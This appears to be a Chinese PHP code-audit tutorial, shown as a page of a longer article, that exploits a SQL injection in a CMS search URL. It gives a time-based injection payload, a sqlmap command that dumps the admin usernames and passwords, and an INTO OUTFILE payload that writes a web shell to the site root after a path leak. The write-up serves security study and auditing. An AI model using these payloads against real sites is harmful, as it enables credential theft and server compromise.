PHP代码审计之入门实战

来源:岁月联盟 编辑:猪蛋儿 时间:2020-02-10
$obj->set_where("goo_title like '%" . $global['key'] . "%'");
???不明白为啥这里大意了,明明其他地方过滤都很严格的…
漏洞利用
知道代码仅仅经过一次URL解码,所以尝试一下使用%23,解码后就是#来闭合后面的语句:
http://10.211.55.12/?/search/index.html/key-%27%20and%20sleep(2)%20%23/
%27and%20sleep(2)%20%23URL解码为:' and sleep(2) # 使用MySQL监控工具查看日志:
select goo_id,goo_title,goo_x_img from php_goods where goo_lang = 'zh-cn'  and goo_show = 1  and goo_title like '%' and sleep(2) #%'  and goo_channel_id = 1  order by goo_top desc,goo_index desc,goo_id desc
成功了,那么接下来使用SQLMap来进注入吧。

sqlmap -u "http://10.211.55.12/?/search/index.html/key-%27*%20%23/" -v 3 --technique=T -D 'sinsiu' -T 'php_admin' -C 'adm_id,adm_username,adm_password' --dump
因为这里key-%27*%20%23 国光我使用*给SQLMap预留好了,然后SQLMap直接注入即可:

理论情况
这部分纯理论测试,实际情况下一般没写入权限,但是还是记录一下吧。如果有大佬可以审计出后台getshell的话 欢迎评论区留言 这样就可以一条龙攻击了~~~
MySQL新版下secure-file-priv字段用来限制MySQL对目录的操作权限。先查看一下本地我们的MySQL是否有作限制
mysql> show global variables like '%secure%';
+------------------+-------+
| Variable_name    | Value |
+------------------+-------+
| secure_auth      | OFF   |
| secure_file_priv | NULL  |
+------------------+-------+
2 rows in set (0.00 sec)
secure_file_priv的值为null ,表示限制mysqld 不允许导入导出
secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入导出只能发生在/tmp/目录下
secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制
为了进行理论上漏洞测试,下面来修改一下MySQL配置文件,修改mysql.ini 文件,在[mysqld] 下加入:
secure_file_priv=
重启MySQL服务即可生效:
mysql> show global variables like '%secure%';
+------------------+-------+
| Variable_name    | Value |
+------------------+-------+
| secure_auth      | OFF   |
| secure_file_priv |       |
+------------------+-------+
2 rows in set (0.00 sec)
写shell需要网站爆物理路径才可以,当代码没有检测异常操作的时候,遇到错误会直接报错泄露物理路径,这个CMS信息泄露的地方有很多,下面随便找几处:
http://localhost/admin/admin.php
http://localhost/admin/deal.php
http://localhost/admin/info.php
http://localhost/include/common.php
http://localhost/index/info.php
http://localhost/index/user.php
...
浏览器直接访问一个试试看:

获取到网站的物理路径为:
C:/phpStudy/PHPTutorial/WWW/
OK,那么可以直接开始写shell了:
http://10.211.55.12/?/search/index.html/key-%27union select 1,2,'' into outfile 'C://phpStudy//PHPTutorial//WWW//gg.php'%20%23/
shell写入目录为网站根目录下,文件名为gg.php

总结
因为第一次做审计,所以写的比较啰嗦了,日后再审计其他系统的分析文章的话 会尽量简洁明了的。
 

上一页  [1] [2] [3] [4] [5] [6] [7]